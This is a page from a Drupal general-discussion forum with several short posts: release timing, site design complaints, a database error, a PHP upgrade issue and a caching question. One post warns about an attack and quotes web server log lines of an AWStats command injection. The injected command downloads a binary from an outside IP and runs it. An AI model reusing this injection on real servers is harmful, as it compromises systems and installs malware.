This forum is for less technical discussions about the Drupal project, not for support questions.

"Done" is a four letter word

An often raised question on drupal.org is, "when will release x.y be done?". And most often the first answer received will be "It is done when it is done." Or it is just as likely the answer will be phrased in a somewhat less friendly manner: "When is the last time you patched a bug or tested a patch?". While one of these is a question, both qualify as good answers to the question "when willl it be done?". This is because software development in the Open Source differs in some important points to traditional software development. In this posting you can read what the difference is and how you can make, be, that difference.

Drupal: The Good, the Bad and the Ugly

What needs to change in 2006:

  • Drupal.org is in dire need of a new template. It hurts my eyes looking at it. What's wrong with it? Consider viewing it at a lower resolution, try 800X600. Notice anything? Immediately search functionality is broke, because the links at the top wrap around and block the search box. Plus the content overlaps itself, blocking content and making the site inaccessible. It definitely needs a footer. Does anyone hold rights to Drupal.org? Apparently not. And if so, they should display copyright information. The logo also needs simplified to establish more of an icon. The content needs reorganized into simplified categories, and the sidebar would be more friendly and profound on the left side of the page. Most importantly, the Drupal handbook is entirely outdated and needs major revisions and updates. I suggest hiring a PR manager. I'll even take the job for $30K/year. Image is everything in today's market.
  • Drupal-generated HTML source code is no where close to clean in terms of how it's displayed. You might as well put it all on one line, because it seems to wind up that way. A simple fix is for developers to include adequate linefeeds in the php code. Souce code should be clean and concise.

    Clean HTML source code looks like:

    <div class="cleancode">
      <p>This is an example of clean source code</p>
    </div>
    

    Drupal-generated HTML source code looks like:

    Non-clean source code

Noticed root-kit attempt aimed at drupal in my logs

Just a word of caution about letting anyone post on your server. I found this in the logs so I want to be sure drupal is safe before I install it. NOTE: I emboldened the 'drupal-directed' attack so you could find it more easily. I have a dozen of these stretching over a month going back from different ip addresses. drupal doesn't run any xmlrpc someone might plant I hope ;-) It seems these weasels blog some code and then scan for it and try to invoke it. Someone should hunt these people down by their IPs and knock them off the net by unlinking them from router tables everywhere. Just another reminder how dangerous it is out there. Sometimes I see this and think people just plain suck. And then I think of generous works like drupal and remember how most people are not like that.

61.145.112.59 - - [30/Dec/2005:11:44:37 -0800] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 404 291
61.145.112.59 - - [30/Dec/2005:11:44:39 -0800] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 404 291
61.145.112.59 - - [30/Dec/2005:11:44:43 -0800] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 404 299

Comments "thread" value too long....

I'm getting an error while inserting a new comment.

pg_query() [function.pg-query]: Query failed: ERROR: value too long for type character varying(255) in /usr/local/apache2/htdocs/includes/database.pgsql.inc on line 45.

The value is obviously not valid but I'm not sure how to fix it or why it broke in the first place.

thread value is:

Problems after upgraded php 5.1

Hi PPl, i did this site for a friend of mine, all my sites are "Proudly Powered by Drupal" now. Yesterday he complained and i saw the site and it looked raw like this.
http://www.admacformulations.com/

after struggling hard, i could not find anything and called up my hosting provider who said he upgraded php from 5.0 to 5.1 a day before which seems to be the only reason causing this. Can somebody here throw some light on this???

thanks in advance.

Sham

How does this caching work?

Hi,

This page says the taxonomy tree is cached:

http://drupaldocs.org/api/head/function/taxonomy_get_tree

But I don't see how the caching works from the code. Is the tree cached everytime the page loads? so that if the same page calls the same routine it will return values from the cache?

or if user1 loads the page that calls it, will the cached values then be used when user2 loads the page?

Thanks,

fcmisc.

Pages

Subscribe with RSS Subscribe to RSS - General discussion